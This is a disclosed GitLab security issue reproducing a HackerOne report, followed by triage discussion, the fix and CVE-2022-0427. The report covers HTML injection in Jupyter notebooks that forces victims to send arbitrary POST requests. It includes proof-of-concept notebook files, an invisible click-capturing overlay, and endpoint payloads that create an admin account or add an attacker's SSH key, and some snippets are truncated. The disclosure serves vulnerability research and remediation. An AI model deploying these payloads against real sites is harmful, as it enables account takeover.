

# Arbitrary POST request as victim user from HTML injection in Jupyter notebooks

[HackerOne report #1409788](#) by joaxcar on 2021-11-24, assigned to [@dcouture](#):

[Report](#) | [Attachments](#) | [How To Reproduce](#)

## Report

### Summary

An attacker can create a Jupyter notebook that will make arbitrary POST requests as the victim user. In the "worst case" an attacker could make an admin create a new admin account for the attacker. Other possible attack vectors are forcing invites to private projects etc. Every POST request is possible.

This research is loosely based on the issue with Rails Ujs data-\* parameters. Nowadays DOMPurify strips Rails Ujs data- attributes such as data-url and data-method. What is not stripped is arbitrary data attributes. Looking through the code in <https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/main.js>, which is run on page load in the UI, I found multiple vectors still possible to abuse.

The script hooks up a lot of event listeners and modifications to the DOM. What is of particular interest for us is the part that is delayed to let additional data on the page load.

```
function deferredInitialisation() {  
  const $body = $('body');  
  
  initTopNav();  
  initBreadcrumbs();  
  initTodoToggle();  
  initLogoAnimation();  
  initServicePingConsent();  
  initUserPopovers();  
  initBroadcastNotifications();  
  initPersistentUserCallouts();  
  initDefaultTrackers();  
  initFeatureHighlight();  
}
```

Reading through the source files for these functions I managed to find multiple selector/data-attribute combinations that can be used even with purified HTML.

As an example we have persistent\_user\_callout in

[https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/persistent\\_user\\_callout.js](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/persistent_user_callout.js)

where a POST request is made like

```
dismiss(event, deferredLinkOptions = null) {  
  event.preventDefault();  
  
  axios  
    .post(this.dismissEndpoint, {  
      feature_name: this.featureId,  
    })  
}
```

the dismissEndpoint is controllable through a data attribute data-dismiss-endpoint. The data attributes are extracted like so

```
export default class PersistentUserCallout {  
  constructor(container, options = container.dataset) {  
    const { dismissEndpoint, featureId, deferLinks } = options;  
    this.container = container;  
    this.dismissEndpoint = dismissEndpoint;  
    this.featureId = featureId;  
    this.deferLinks = parseBoolean(deferLinks);  
  
    this.init();  
  }  
}
```

To be able to fire the dismiss function (and thus the POST request) we also need a `js-close` button

```
const closeButton = this.container.querySelector('.js-close');
```

The HTML needed to set this up is

```
<div class=\"js-new-user-signups-cap-reached\" data-dismiss-endpoint=\"https://gitlab.com/api/v4/pro
  <button style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; le
    hack
  </button>
</div>
```

The styling is there to make the button as an invisible overlay over the whole page making it trigger on a click anywhere.

Now to the attack. If an attacker creates a Jupyter Notebook there exists the possibility to add HTML in the output fields. This HTML will be sanitized by DOMPurify, but this will not stop the attack.

A file like this will do as a simple POC

```
{
  "cells": [
    {
      "metadata": { "trusted": true },
      "cell_type": "code",
      "source": "<h1>asd</h1>",
      "execution_count": 1,
      "outputs": [
        {
          "output_type": "display_data",
          "data": {
            "text/plain": "<IPython.core.display.HTML object>",
            "text/html": "<div class=\"js-feature-highlight\" data-dismiss-endpoint=\"https://gitlab
          },
          "metadata": {}
        }
      ]
    }
  ],
  "metadata": {
    "kernelspec": {
      "name": "python3",
      "display_name": "Python 3",
      "language": "python"
    },
    "language_info": {
      "name": "python",
      "version": "3.7.8",
      "mimetype": "text/x-python",
      "codemirror_mode": { "name": "ipython", "version": 3 },
      "pygments_lexer": "ipython3",
      "nbconvert_exporter": "python",
      "file_extension": ".py"
    }
  },
  "nbformat": 4,
  "nbformat_minor": 4
}
```

I have added a `feature-highlight` (another possible vector, see image) just to show when the attack is successful. As the `main.js` script is run with a timer, sometimes one has to refresh the page to have the payload "load up" (this could possibly be worked around). When the attack is loaded, the highlight div will turn into a blue dot.

Visiting this site and clicking anywhere will add a Todo on an Issue on one of my projects. I have also tested this attack with an attack creating an admin account. Replacing the payload in the POC with this one

```
"text/html": "<div class=\"js-new-user-signups-cap-reached\" data-dismiss-endpoint=\"https://gitlab.
```

A visit by an admin to this site would end up with a new admin account being created.

Finally I want to point out that this kind of attack is possible anywhere where HTML injection could happen. Even with Purified HTML.

### Steps to reproduce

1. Create a project on GitLab.com
2. Create a new file named `hack.ipynb` (or upload the included file) with the content

```
{
  "cells": [
    {
      "metadata": { "trusted": true },
      "cell_type": "code",
      "source": "<h1>asd</h1>",
      "execution_count": 1,
      "outputs": [
        {
          "output_type": "display_data",
          "data": {
            "text/plain": "<IPython.core.display.HTML object>",
            "text/html": "<div class=\"js-feature-highlight\" data-dismiss-endpoint=\"https://gitlab",
          },
          "metadata": {}
        }
      ]
    }
  ],
  "metadata": {
    "kernel_spec": {
      "name": "python3",
      "display_name": "Python 3",
      "language": "python"
    },
    "language_info": {
      "name": "python",
      "version": "3.7.8",
      "mimetype": "text/x-python",
      "codemirror_mode": { "name": "ipython", "version": 3 },
      "pygments_lexer": "ipython3",
      "nbconvert_exporter": "python",
      "file_extension": ".py"
    },
    "nbformat": 4,
    "nbformat_minor": 4
  }
}
```

3. Click save
4. After saving you will land on the preview page for the file. If the out block does not contain a blue dot, refresh this page.
5. When the dot is blue click anywhere on the page
6. Now go to <https://gitlab.com/dashboard/todos> and check that a todo have been added

video example of the POC (note the todo being empty and the blue dot):

*REDACTED, see original H1 report*

### Impact

An attacker can make arbitrary POST requests as a victim user visiting a Jupyter notebook. Worst case giving the attacker admin access to the instance.

Examples

Private project:  
<https://gitlab.com/parent02/sub2/asd/-/blob/main/hack.ipynb>

What is the current *bug* behavior?

DOMPurify does not filter out arbitrary data-\* attributes, making it possible to high jack Gitlab UI JavaScript to make POST requests

What is the expected *correct* behavior?

The attributes should not work in Jupyter notebooks

Output of checks

This bug happens on GitLab.com

Impact

An attacker can make arbitrary POST requests as a victim user visiting a Jupyter notebook. Worst case giving the attacker admin access to the instance.

Attachments

**Warning:** Attachments received through HackerOne, please exercise caution!


- [todohack.webm](#) - REDACTED, see original H1 report
- [hack.ipynb](#)
- [dot.png](#)


How To Reproduce

Please add [reproducibility information](#) to this section:


- 1.
- 2.
- 3.

Edited 6 months ago by [Dominic Couture](#)


 Drag your designs here or [click to upload](#).


Tasks  0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.




Linked items  0

Link issues together to show that they're related or that one is blocking others. [Learn more](#).

Related merge requests  1

 [Render GFM Mermaid diagrams in a sandboxed iframe](#)

!74414

 14.7  

Activity



[GitLab SecurityBot](#) changed due date to January 26, 2022 [11 months ago](#)



[GitLab SecurityBot](#) added [Weakness](#) [CWE-99](#) [priority: 2](#) [severity: 2](#) scoped labels [11 months ago](#)



[GitLab SecurityBot](#) added [HackerOne](#) [security](#) labels [11 months ago](#)



[GitLab SecurityBot](#) [@gitlab-securitybot](#) · [11 months ago](#)

AuthorReporter

[HackerOne comment](#) by [turtle\\_shell](#) :  
  
Hello [\[@\]joaxcar](#) and thanks for your report,

Which is the field you are trying to exploit? "text/html" or source ?

If it's for text/html, it seems like you did the PoC just for your own account because there is your project there. How should I craft one for my own account? I tried to roughly put my project id there but it did not work.

Best regards, [@]turtle\_shell



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[HackerOne comment](#) by joaxcar :

Hi [@]turtle\_shell thank you for looking into the report! And sorry for the confusing POC, I assumed that you would test this on gitlab.com and then it would be no problem using the POC straight "out of the box" as anyone can create a ToDo on my public project. So it should work unmodified. If you want to test it on another server first do:

1. Create a new public project, take a note of the project ID
2. Create a new issue on the project (this will get IID of 1)
3. Modify the POC with your new project ID and test

I tried to find a POST request with a wide scope for the POC but I can look for another one that have a clearer impact. You can look in the DevTools (F12) to see that the POST request is fired even if it fails.

I have tweaked the POC a bit to make it more consistent and effective (the payload is in the text/html block):

```
{
  "cells": [
    {
      "metadata": { "trusted": true },
      "cell_type": "code",
      "source": "hej",
      "execution_count": 1,
      "outputs": [
        {
          "output_type": "display_data",
          "data": {
            "text/plain": "<IPython.core.display.HTML object>",
            "text/html": [
              "<a href='\"https://gitlab.com/joaxcar-test03/joaxcar-test03/-/blob/main/test\"'>https://gitlab.com/joaxcar-test03/joaxcar-test03/-/blob/main/test",
              "<div class='\"js-new-user-signups-cap-reached\"' data-dismiss='endpoint='\"https://gitlab.com/joaxcar-test03/joaxcar-test03/-/blob/main/test\"'>https://gitlab.com/joaxcar-test03/joaxcar-test03/-/blob/main/test",
              "<button style='\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default;\"'>https://gitlab.com/joaxcar-test03/joaxcar-test03/-/blob/main/test",
              "hack",
              "</button>",
              "</div>"
            ],
            "metadata": {}
          }
        ]
      }
    ],
    "metadata": {
      "kernel_spec": {
        "name": "python3",
        "display_name": "Python 3",
        "language": "python"
      },
      "language_info": {
        "name": "python",
        "version": "3.7.8",
        "mimetype": "text/x-python",
        "codemirror_mode": { "name": "ipython", "version": 3 },
        "pygments_lexer": "ipython3",
        "nbconvert_exporter": "python",
        "file_extension": ".py"
      }
    },
    "nbformat": 4,
    "nbformat_minor": 4
  }
}
```

This one will fill the screen with an overlay linking to the same site if the payload is not "activated". This is the `<a href="" class="js-feature-highlight\"` part. This makes the attack "guaranteed" to succeed as long as the user tries to click the UI. If the payload is not loaded the page will link back to it self. If it is loaded, the link will be transformed to a feature-highlight blue dot and the POST payload will be the new full screen link, this is the `<div class="js-new-user-signups-cap-reached\"` part. In this POC you have to replace the data-dismiss-endpoint to an existing public issue, and the `a href` to the place where you have uploaded the Notebook.

Hope this clarifies things. I will get back with some additional information later tonight when I have the time to write it down.

Best regards Johan



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

This comment was redacted by @dcouture on 2022-05-20 as part of [GitLab's process for disclosing security issues](#).

Edited by [GitLab SecurityBot](#) 6 months ago



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[HackerOne comment](#) by forest\_dweller:

Hi [@]joaxcar,

Thank you for patiently answering our questions.

I was able to reproduce this behaviour using the PoC you have provided in the report submission (the blue dot one). To justify the CVSS impact metrics set by you Confidentiality = High and Integrity = High, can you please provide a PoC that demonstrates creating an admin user by exploiting this vulnerability?

I would love to take another look at your report once you have provided additional information supporting your issue.

Cheers, [@]forest\_dweller



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[HackerOne comment](#) by joaxcar:

Hi [@]forest\_dweller thank you for looking into the report!

First I will submit a POC recording of adding an SSH key to any user. I hope the recording is submitted (had some problems with H1 recording tool). Assigning an SSH key to a user involves first generating a new unique fingerprint and then planting it in the payload as part of the API call

```
https://gitlab.com/api/v4/user/keys?title=hack&key=ssh-ed25519%20AAAAC3NzaC1lZDI1NTE5AAAA:
```

This payload is only valid once as no two keys can have the same fingerprint on GitLab. Here an attacker can use the fact that the victim can get redirected after successful payload trigger. When the attacker gets a visit on the linked site it could automatically generate a new SSH key and update the payload for the next victim. This could all be automated.

## Steps to reproduce

1. Generate an SSH key (on linux use `ssh-keygen -t ed25519`) give it a name and skip passphrase on this one.
2. Copy the content of the generated KEY.pub file and URL encode it (use the devtools terminal to run `encodeURIComponent("SSHKEY FINGERPRINT")`)
3. Use one of the POC files from before but replace the text/html cell with this content

```
"text/html": [  
  "a href=\"https://gitlab.com/joaxcar-test03/joaxcar-test03/-/blob/main/test\"  
  <div class=\"js-new-user-signups-cap-reached\" data-dismiss-endpoint=\"https  
  <button style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: defau  
  \"hack\",  
  </button>\",
```

```
"</div>"
  }},
```

replacing the ssh-key. 4. Save and reload and click on the page 5. You should now have a SSH key on your user named hack. see <https://gitlab.com/-/profile/keys>

Will post the admin one soon



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

This comment was redacted by @dcouture on 2022-05-20 as part of [GitLab's process for disclosing security issues](#).

Edited by [GitLab SecurityBot](#) 6 months ago



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

This comment was redacted by @dcouture on 2022-05-20 as part of [GitLab's process for disclosing security issues](#).

Edited by [GitLab SecurityBot](#) 6 months ago



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[HackerOne comment](#) by joaxcar :

I am going to try to clean this up a bit. The report got a bit verbose, so here is a TLDR:

### Minimal working POC

Put this in a file named `name.ipynb`, and save it. This POC uses the simplest but least impactful of the two JavaScript classes described above. But it allows for a clean way to just prove that a POST is sent. I have striped as much Notebook text as I could without breaking rendering. I also realized that the "refresh" functionality can be achieved by simply emitting any link in the `href`.

So if the payload does not mount, just click the link to refresh the page. When it mounts it will turn to a blue dot. Hover over the dot to get a popup, click the "OK" button to trigger the POST request. In this POC it makes a request to follow one of my GitLab accounts. (This is the FULL file content, nothing else is needed)

```
{
  "cells": [
    {
      "cell_type": "code",
      "outputs": [
        {
          "output_type": "display_data",
          "data": {
            "text/html": [
              "<a href class='\"js-feature-highlight\"' data-dismiss-endpoint='\"https://gitlab.com/-/profile/keys\"'>click to refresh</a>"
            ]
          }
        }
      ]
    }
  ]
}
```

### Make it dangerous

Replace the `data-dismiss-endpoint` in the POC above with either the "create admin" or the "add ssh key" from my POCs above

- `api/v4/users?admin=true&email=joaxcar@wearehackerone.com&name=newadmin&username=newadmin&password=asdasdasdasd&skip_confirmation=true`
- `api/v4/user/keys?title=hack&key=KEYFINGERPRINT`

## What is the problem

"Safe HTML" is generated in GitLab by using DOMPurify. The configuration as of now does NOT strip

- Style tags and attributes (I know you are working on this)
- Arbitrary `data-*` attributes.
- Arbitrary class names

Which makes it possible to abuse GitLab's own JS code when the user can inject html. In this case Notebooks is used for this as they allow html in cells.

As a bonus the `persistant user callout` code contains a `window.open` call that can be used for tabnabbing. It is also important to note that the exposed code ( `persistant user callout` ) allows for "stacking" multiple payloads that can be executed after each other if the user continue to interact with the page.

Hope that clears things up. Sorry for not taking the time to clean it up prior to reporting, but I kind of figured it out as I was revisiting the issue.

Best regards Johan



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[HackerOne comment](#) by joaxcar :

Hi again [@]forest\_dweller , I know that triaging can take some time and I have no problem waiting. I just wanted this report to be submitted in the timeframe for GitLab bug contest ( <https://about.gitlab.com/blog/2021/11/01/3rd-annual-bug-bounty-contest/#---three-year-anniversary-hacking-contest---> ) which have its deadline tomorrow (3d dec). Hopefully it does not matter if it gets triaged after the deadline, but as you managed to reproduce the base issue maybe we could send it to GitLab triage team?

Maybe not the critical impact that will blow all the competition out of the way, but I like to have a tiny chance of some nice swag ;)

Best regards Johan



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[HackerOne comment](#) by dcouture :

Hey [@]joaxcar,

I only saw your last message and didn't look at the rest of the report yet, but the contest works with with submission date so you're fine. ;)

Best regards, Dominic GitLab Security Team



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[HackerOne comment](#) by forest\_dweller :

Hello [@]joaxcar,

Nice Find! Thank you for patiently answering all our questions.

I was able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

All the best for your next find! Look forward to your next awesome bug report!

Cheers, [@]forest\_dweller



**GitLab Bot** added (type `maintenance`) scoped label 11 months ago



**Dominic Couture** @dcouture · 11 months ago

Developer

[@eduardobonet](#) do you know who owns this feature? Is it `devops` `modelops` or you folks are "only" users of the feature but not the owners?

[@djadmin](#) you picked up the previous vulnerability in notebooks ([#341566 \(closed\)](#)), I don't think it's in your group but maybe you know who it is? The feature page wasn't really helpful here (or I missed the info!)



**Dheeraj Joshi** @djadmin · 11 months ago

Developer

I think we'll need help from [@sean\\_carroll](#) [@andr3](#) to support this.

**Eduardo Bonet** @eduardobonet · 11 months ago

Developer

[@dcouture](#) I am working on improving it but rendering of the Jupyter Notebooks there is ownership of `group code review` I think, or is it `group source code`? (cc [@phikai](#)). Tagging also [@iamphill](#). That being said, I am available to support in anyway I can here.

Edited by [Eduardo Bonet](#) 11 months ago

**Phil Hughes** @iamphill · 11 months ago

Maintainer

I think this would fall under `group source code`

Please [register](#) or [sign in](#) to reply

**Dheeraj Joshi** @djadmin · 11 months ago

Developer

🔥 this is absolutely amazing report, thanks for the ping [@dcouture](#).

I think we should (to block this class of attack vector) :

1. Disallow the style tags/attributes in DOMPurify - [#7161](#)
2. Sandbox the Jupyter notebooks - [!74414 \(merged\)](#), [#342208 \(closed\)](#)

Also: in order to fix this particular issue we can try configuring the `v-safe-htm1` at <https://gitlab.com/gitlab-org/gitlab/blob/3cf8580fd237376dac237d86ba1af69d75627c39/app/assets/javascripts/notebook/cells/output/html.vue#L40> (and other notebook components), as strict as possible: by forbidding all

1. data-\* attributes
2. style tags & attrs
3. classes

**Eduardo Bonet** @eduardobonet · 11 months ago

Developer

As I understand, the issue is using Jupyter as a mean to render a button that triggers a post impersonating the user. Is there anything specific from Jupyter Notebooks that allows for this, or any rendering of user-generated files could be used here? Could I for example use a link in an issue to trigger this behaviour? If that is the case, we need to sandbox all possible user generated content, but might can we also somehow block the possibility of arbitrary POST being executed?

**Mark Florian** @markrian · 11 months ago

Maintainer

We have an `isSameOriginUrl` helper that could be used in `PersistentUserCallout` as one possible mitigation. Is there any possibility a user could do something malicious even with a same-origin URL?

Please [register](#) or [sign in](#) to reply



**Dominic Couture** added `group source code` `devops create` scoped labels 11 months ago



**GitLab Bot** @gitlab-bot · 11 months ago

Maintainer

Setting label(s) `Category:Source Code Management` `section dev` based on `group source code`.



**GitLab Bot** added `Category:Source Code Management` label 11 months ago



**GitLab Bot** added `section dev` scoped label 11 months ago



**Sean Carroll** added `frontend` label 11 months ago



**Sean Carroll** added `type bug` scoped label and automatically removed `type maintenance` label 11 months ago



**Sean Carroll** @sean\_carroll · 11 months ago

Developer

Adding [Engineering Allocation](#)



**Sean Carroll** added [Engineering Allocation](#) label 11 months ago



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[@sarahwaldner](#) [@sean\\_carroll](#) [@cmxim](#) This issue is ready for triage as per [HackerOne process](#).

About this automation: [AppSec Escalation Engine](#)



**GitLab SecurityBot** added [security-set-milestone](#) label 11 months ago



**GitLab Bot** @gitlab-bot · 11 months ago

Maintainer

👋 [@sean\\_carroll](#), please ensure the [required labels](#) are present for [Engineering Allocation](#) measurements:

- An ~Eng-Consumer::\* label
- An ~Eng-Producer::\* label
- A ~priority::\* label
- A ~severity::\* label when the type is ~"bug"



**GitLab SecurityBot** @gitlab-securitybot · 11 months ago

Author

Reporter

[@sarahwaldner](#) This [severity: 2](#) [security](#) issue has no milestone yet. (For remediation goals, please see [Severity and Priority Labels on ~security Issues](#).)

About this automation: [AppSec Escalation Engine](#)



**Sean Carroll** @sean\_carroll · 11 months ago

Developer

Estimating "backend-weight:3", please adjust if incorrect: [@igor.drozdo](#)

Please ignore [@igor.drozdo](#), this is FE

Edited by [Sean Carroll](#) 11 months ago



**Sean Carroll** changed weight to 3 11 months ago



**Sean Carroll** removed the weight 11 months ago



**Dan Jensen** @djensen · 10 months ago

Contributor

[@andr3](#) hey there! This [frontend](#) issue is part of the [Dev security burndown](#). Generally we try to direct these issues to engineers in the owning group, but of course there isn't always capacity. Would your team have capacity to execute this in the near future? If not, we can invite one of the other [frontend](#) engineers involved in the burndown effort to self-assign.



**Igor Drozdov** @igor.drozdo · 10 months ago

Maintainer

[@dadmin](#) is this issue fixed by sandboxing? or do we need to implement [87161](#) according to [#347284 \(comment 754198196\)](#)? could you please have a look? 🙏



**Dennis Tang** @dennis · 10 months ago

Developer

[@andr3](#) pinging you again as we'd like to get this last S2 assigned for the burndown. If you need [frontend](#) support then let me know!



**André Luís** @andr3 · 10 months ago


Developer


[@djensen](#) [@dennis](#) thanks for the pings but weirdly, I got neither of those added to my Todos ! 🤖

We can totally pick it up for 14.8. We'll reach out after investigating if we need some extra pair of eyes. Thanks!

/cc [@jerasmus](#) see and probably sync up with [@djadmin](#) about his comment above: [#347284 \(comment 754198196\)](#).

Please [register](#) or [sign in](#) to reply

 [André Luís](#) changed milestone to [%14.8](#) 10 months ago

 [André Luís](#) changed weight to [3](#) 10 months ago

 [GitLab SecurityBot](#) removed [security-set-milestone](#) label 10 months ago

  [GitLab Bot](#)  added [Accepting merge requests](#) label 10 months ago

 [André Luís](#) added [Deliverable](#) label 10 months ago

 [André Luís](#) assigned to [@jerasmus](#) 10 months ago






[André Luís](#) [@andr3](#) · 10 months ago

Developer

Confirming this has been picked as [Deliverable](#) for 14.8.

  [GitLab Bot](#)  removed [Accepting merge requests](#) label 10 months ago


  [GitLab Bot](#)  added [bug, vulnerability](#) scoped label 10 months ago



[Jacques Erasmus](#) [@jerasmus](#) · 9 months ago

Maintainer

This has been fixed and tested in production ([example](#))

 [Jacques Erasmus](#) closed 9 months ago



[Andrew Kelly](#) [@ankelly](#) · 9 months ago

Developer

This was assigned CVE-2022-0427

  [GitLab Bot](#)  mentioned in issue [gitlab-org/quality/triage-reports#6369](#) 9 months ago



[GitLab SecurityBot](#) [@gitlab-securitybot](#) · 8 months ago

Author

Reporter

[@cmaxim](#) - this [HackerOne](#) [security](#) issue was closed 30 days ago and should be made public. Please follow [the process for disclosing security issues](#).

If the issue needs to stay confidential, please add the [keep confidential](#) label.

If you removed confidential data from the issue description before making it public, make sure that the description history entry is deleted.





[Costel Maxim](#) [@cmaxim](#) · 8 months ago

Developer

Removed the [keep confidential](#) flag.

Please [register](#) or [sign in](#) to reply

 [Costel Maxim](#) made the issue visible to everyone 8 months ago

 [Dominic Couture](#) changed the description 6 months ago



[GitLab SecurityBot](#) [@gitlab-securitybot](#) · 6 months ago

Author

Reporter

[HackerOne report #1409788](#) was disclosed on 2022-05-20 @ 14:32.

- Bounty awarded: \$8690



**Eduardo Bonet** mentioned in issue [#362272 \(closed\)](#) 6 months ago

Please [register](#) or [sign in](#) to reply